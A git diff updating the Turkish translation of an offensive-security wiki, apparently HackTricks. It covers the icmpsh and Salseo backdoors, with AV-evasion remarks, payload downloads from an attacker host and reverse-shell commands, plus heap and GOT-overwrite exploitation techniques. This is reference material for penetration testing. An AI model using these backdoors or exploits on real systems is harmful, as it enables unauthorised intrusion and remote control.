-Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapma yeteneklerini ve teknolojilerini öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**: +Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırması, penetrasyon testi ve tersine mühendislik yapmak için gereken teknolojileri ve becerileri öğrenin. **iOS ve Android güvenliğinde ustalaşın** ve **sertifika alın**: {% embed url="https://academy.8ksec.io/" %} @@ -123,13 +123,13 @@ Mobil uygulamaları ve cihazları korumak için güvenlik açığı araştırmas WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır. -WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! +WebSec'in bir diğer ilginç yanı, sektördeki ortalama ile karşılaştırıldığında WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! -Yukarıdakilere ek olarak WebSec, HackTricks'in de **kararlı bir destekçisidir.** +Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} -## Lisans ve Feragatname +## Lisans & Feragatname Onları kontrol edin: diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/android-forensics.md b/src/android-forensics.md index 778be6f6d..0a07c2da7 100644 --- a/src/android-forensics.md +++ b/src/android-forensics.md @@ -1,4 +1,4 @@ -# Android Adli Bilimi +# Android Adli Tıp {{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..6d9d39aa9 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Arka kapıyı indirin: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# İstemci tarafı -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Scripti çalıştırın: **run.sh** +**Eğer bir hata alırsanız, satırları değiştirmeyi deneyin:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**İçin:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Kurban Tarafı** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +**icmpsh.exe** dosyasını kurbana yükleyin ve çalıştırın: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..ac6ebe4c5 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## Binaries' Derlenmesi -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, bu mimariler için derleyin). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +**Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında. -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\ Properties"**'e tıklayın) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlarda çalıştırılabilir dosyanın yolu görünecektir): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Arka Kapıyı Hazırlama -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Öncelikle, **EvilSalsa.dll**'yi kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Tamam, şimdi Salseo işlemlerini gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Arka kapıyı çalıştır** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **TCP ters shell almak (HTTP üzerinden encoded dll indirme)** +nc'yi ters shell dinleyicisi olarak başlatmayı ve encoded evilsalsa'yı sunmak için bir HTTP sunucusu kurmayı unutma. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **UDP ters shell almak (SMB üzerinden kodlanmış dll indirme)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu kurmayı unutmayın. ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **ICMP ters shell almak (şifrelenmiş dll zaten kurbanın içinde)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **ICMP Yanıtlarını Devre Dışı Bırak:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### İstemciyi çalıştırın: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### Kurbanın içinde, salseo şeyini çalıştıralım: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme -## Compiling SalseoLoader as DLL exporting main function +SalseoLoader projesini Visual Studio ile açın. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Ana fonksiyondan önce ekleyin: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Bu proje için DllExport'ı yükleyin -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencerede kabul edin)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +Proje klasörünüzde **DllExport.bat** ve **DllExport_Configure.bat** dosyaları belirdi. ### **U**ninstall DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +**Kaldır**'a basın (evet, garip ama bana güvenin, bu gerekli) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Visual Studio'dan çıkın ve DllExport_configure'ı çalıştırın** -Just **exit** Visual Studio +Sadece **çıkın** Visual Studio'dan -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı çalıştırın. -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +**x64**'ü seçin (eğer x64 bir kutu içinde kullanacaksanız, benim durumum buydu), **System.Runtime.InteropServices**'i seçin ( **DllExport için Ad Alanı** içinde) ve **Uygula**'ya basın. ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Projeyi tekrar Visual Studio ile açın** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** artık hata olarak işaretlenmemelidir. ![](<../images/image (8) (1).png>) -### Build the solution +### Çözümü derleyin -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +**Çıktı Türü = Sınıf Kütüphanesi**'ni seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kütüphanesi) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Çözümü **derlemek için**: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) -### Test the generated Dll +### Üretilen Dll'yi test edin -Copy and paste the Dll where you want to test it. - -Execute: +Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. +Çalıştırın: ``` rundll32.exe SalseoLoader.dll,main ``` +Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!! -If no error appears, probably you have a functional DLL!! +## DLL kullanarak bir shell alın -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..74c307e88 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> HackTricks'i Destekleyin > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter**'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek. > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..00e2b6571 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# Keyfi Yazma 2 Çalıştır diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..5fe06aa6b 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +Resmi GNU sitesinde belirtildiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden bir işaretçidir** ve bu adres **libc kütüphanesinin veri bölümünde saklanır**. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +Malloc'u çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla bayt tahsis etmek mümkündür. -More info about One Gadget in: +One Gadget hakkında daha fazla bilgi için: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> GLIBC >= 2.34 için hook'ların **devre dışı olduğunu** unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +Bu, sıralanmamış bir kutu saldırısından sonra hızlı bir kutu saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +Binariesinin sembolleri varsa `__free_hook` adresini bulmak mümkündür: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[Postta](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özetle, free fonksiyonunda:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -40,31 +38,31 @@ gef➤  p &__free_hook
 0xf75dedcc <free+12>:  sub    esp,0x8
 0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
 0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- BREAK HERE
+0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- BURADA KIRIL
 0xf75deddb <free+27>:  test   eax,eax ;<
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +Önceki kodda belirtilen kırılmada `$eax` içinde free hook'un adresi bulunacaktır. -Now a **fast bin attack** is performed: +Şimdi bir **fast bin saldırısı** gerçekleştiriliyor: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- Öncelikle, **`__free_hook`** konumunda **200 boyutunda hızlı parçalar** ile çalışmanın mümkün olduğu keşfedildi: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- Eğer bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır. +- Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, böylece hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bırakılmış bir parçanın işaretçisini elde ederiz. +- Ardından, bu parçadaki edit fonksiyonu çağrılır ve bu hızlı binin **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir. +- Daha sonra, hızlı bin'den önceki işe yaramaz parçayı almak için `0x1f8` boyutunda bir parça oluşturulur, böylece **`__free_hook`** içinde bir hızlı parça elde etmek için `0x1f8` boyutunda başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresi ile üzerine yazılır. +- Ve nihayet, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılır ve delete fonksiyonu çağrılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistem işlevine işaret eder. -## References +## Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..7a46d71ef 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Temel Bilgiler** ### **GOT: Global Offset Table** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +**Global Offset Table (GOT)**, dinamik bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar. -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'a kaydedilir**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta saklanan adresi kullanır ve böylece adresin tekrar çözülmesi için gereken yükten kaçınılır. ### **PLT: Procedure Linkage Table** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir. -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.** -## Get Execution +## İcra Alma -### Check the GOT +### GOT'u Kontrol Et -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +**Yükleme** sonrasında **GEF**'te **GOT**'ta bulunan **fonksiyonları** nasıl **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne işaret eden adresleri içerir. Bu keyfi yazma işleminin amacı, daha sonra **çalıştırılacak** bir fonksiyonun **GOT girişini**, örneğin **`system`** **fonksiyonunun** PLT adresi ile **geçersiz kılmaktır**. -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +İdeal olarak, **parametrelerini kontrol ettiğiniz** bir **fonksiyonun GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz). -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +Eğer **`system`** ikili dosya tarafından **kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini **sızdırmanız** ve ardından GOT'u bu adrese işaret edecek şekilde **geçersiz kılmanız** gerekecektir. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz. -## libc GOT entries +## libc GOT girişleri -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +libc'nin yaygın fonksiyonları, kod yürütme elde etmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır. -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulun. ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +Heap istismarında CTF'lerde, parçaların içeriğini kontrol edebilmek ve bir noktada GOT tablosunu bile geçersiz kılabilmek yaygındır. Eğer bir gadget mevcut değilse, RCE elde etmek için basit bir hile, `free` GOT adresini `system`'a işaret edecek şekilde geçersiz kılmak ve bir parçanın içine `"/bin/sh"` yazmaktır. Bu şekilde, bu parça serbest bırakıldığında, `system("/bin/sh")` komutunu çalıştıracaktır. ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +Bir diğer yaygın teknik, **`strlen`** GOT adresini **`system`**'a işaret edecek şekilde geçersiz kılmaktır, böylece bu fonksiyon kullanıcı girdisi ile çağrıldığında `"/bin/sh"` dizesini geçmek ve bir shell almak mümkündür. -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +Ayrıca, `puts` kullanıcı girdisi ile kullanıldığında, `strlen` GOT adresini `system`'a işaret edecek şekilde geçersiz kılmak ve `"/bin/sh"` dizesini geçmek mümkündür çünkü **`puts`, kullanıcı girdisi ile `strlen`'ı çağıracaktır**. ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **Heap'ten GOT'u Kötüye Kullanma** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +Heap zafiyetinden RCE elde etmenin yaygın bir yolu, hızlı bir binayı kötüye kullanmaktır, böylece GOT tablosunun bir kısmını hızlı binaya eklemek 